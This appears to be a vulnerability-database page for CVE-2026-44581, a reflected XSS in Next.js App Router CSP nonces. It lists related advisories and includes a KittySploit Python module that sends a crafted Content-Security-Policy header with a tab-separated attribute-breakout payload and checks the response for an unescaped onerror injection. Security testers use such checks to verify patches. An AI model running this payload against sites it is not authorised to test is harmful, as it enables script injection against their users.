Next.js CSP-nonce reflected XSS (CVE-2026-44581)
| Reporter | Title | Published | Views | Family All 46 |
|---|---|---|---|---|
| Exploit for CVE-2026-23870 | 7 May 202623:00 | – | githubexploit | |
| The vulnerability of the Next.js software platform for creating web applications lies in its lack of protection for website structures, allowing attackers to execute arbitrary code. | 18 May 202600:00 | – | bdu_fstec | |
| CVE-2026-44581 vulnerabilities | 13 May 202601:17 | – | cgr | |
| CVE-2026-44581 | 7 May 202623:40 | – | circl | |
| Next.js 跨站脚本漏洞 | 13 May 202600:00 | – | cnnvd | |
| CVE-2026-44581 | 13 May 202617:07 | – | cve | |
| CVE-2026-44581 Next.js: Cross-site scripting in App Router applications using CSP nonces | 13 May 202617:07 | – | cvelist | |
| Security Bulletin: IBM InfoSphere Optim Archive Viewer is affected by multiple vulnerabilities in Next.js (CVE-2026-44572, CVE-2026-44573) | 21 Sep 202608:04 | – | ibm | |
| Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces | 11 May 202615:57 | – | github | |
| next-16.2.4-pocs | 8 Oct 202618:10 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
"name": "Next.js CSP-nonce reflected XSS (CVE-2026-44581)",
"description": (
"GET with Content-Security-Policy: script-src 'nonce-<payload>' where the payload uses a TAB "
"as separator so the legacy nonce parser accepts it; reflected nonce must not be "
"attribute-escaped (< 16.2.5). Optional validation_token replaces VALIDATION_TOKEN in PoC."
),
"author": ["KittySploit Team"],
"cve": "CVE-2026-44581",
"references": ["https://github.com/advisories/GHSA-ffhc-5mcf-pf4q"],
"tags": ["http", "nextjs", "xss", "csp", "nonce"],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints', 'params'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
validation_token = OptString(
"VALIDATION_TOKEN",
"String embedded in alert() and in the HTML needle match",
required=False,
)
def _o(self, opt):
if hasattr(opt, "value"):
return opt.value
if hasattr(opt, "__get__"):
try:
return opt.__get__(self, type(self))
except Exception:
pass
return opt
def _url(self):
t, p = str(self._o(self.target) or "").strip(), int(self._o(self.port))
proto = "https" if self._to_bool(self._o(self.ssl)) else "http"
path = str(self.path).strip() or "/"
if not path.startswith("/"):
path = "/" + path
return f"{proto}://{t}:{p}{path}"
def _csp_and_needle(self):
tok = str(self._o(self.validation_token) or "VALIDATION_TOKEN").strip() or "VALIDATION_TOKEN"
if "'" in tok or "\n" in tok or "\r" in tok:
tok = "VALIDATION_TOKEN"
inner = '"\tonerror="alert(\'' + tok + '\')'
csp = "script-src 'nonce-" + inner + "'"
needle = "nonce=\"\" onerror=\"alert('" + tok + "')\""
return csp, needle
def _get_with_csp(self):
url = self._url()
csp, _ = self._csp_and_needle()
hdr = {"Content-Security-Policy": csp}
try:
r = self.get(url, headers=hdr, timeout=float(self._o(self.timeout)))
body = r.text
mode = r.headers.get("X-Server-Mode", "")
refl = r.headers.get("X-CSP-Nonce-Reflected", "")
return r.status_code, body, None, csp, mode, refl
except Exception as e:
return -1, "", str(e), csp, "", ""
finally:
for k in hdr:
self.session.headers.pop(k, None)
@staticmethod
def _classify(body: str, needle: str) -> str:
if needle in body:
return "vulnerable"
if """ in body:
return "patched"
if "nonce=" not in body:
return "patched"
return "inconclusive"
def check(self):
csp, needle = self._csp_and_needle()
code, body, err, csp_sent, mode, refl = self._get_with_csp()
if err:
return {
"vulnerable": False,
"reason": f"GET failed: {err}",
"confidence": "high",
"csp": csp_sent,
}
if code != 200:
return {
"vulnerable": False,
"reason": f"HTTP {code}",
"confidence": "medium",
"csp": csp_sent,
}
v = self._classify(body, needle)
if v == "vulnerable":
return {
"vulnerable": True,
"reason": "nonce attribute breakout (unescaped) in HTML",
"confidence": "high",
"csp": csp_sent,
"headers": {"X-Server-Mode": mode, "X-CSP-Nonce-Reflected": refl},
}
if v == "patched":
return {
"vulnerable": False,
"reason": "Escaped (") or nonce attribute omitted",
"confidence": "high",
"csp": csp_sent,
"headers": {"X-Server-Mode": mode, "X-CSP-Nonce-Reflected": refl},
}
return {
"vulnerable": False,
"reason": "Nonce present but breakout substring not found",
"confidence": "low",
"csp": csp_sent,
"headers": {"X-Server-Mode": mode, "X-CSP-Nonce-Reflected": refl},
}
def run(self) -> bool:
csp, needle = self._csp_and_needle()
print_info(f"Target: {self._url()}")
print_info(f"Content-Security-Policy: {csp}")
code, body, err, _, mode, refl = self._get_with_csp()
if err:
print_error(f"Request failed: {err}")
return False
print_status(f"HTTP {code}")
print_status(f"X-Server-Mode: {mode or '?'}")
print_status(f"X-CSP-Nonce-Reflected: {refl or '?'}")
print_status("--- lines with <script or nonce= ---")
for line in body.splitlines():
if "<script" in line or "nonce=" in line:
print_status(line)
print_status("---")
v = self._classify(body, needle)
if v == "vulnerable":
print_error("Vulnerable — reflected nonce allows attribute breakout (XSS).")
return True
if v == "patched":
print_success("Patched — " escape or strict nonce rejection.")
return False
print_warning("Inconclusive — adjust path or token if the app reflects CSP nonce differently.")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Aug 2026 13:34Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.14.7
EPSS0.00248
SSVC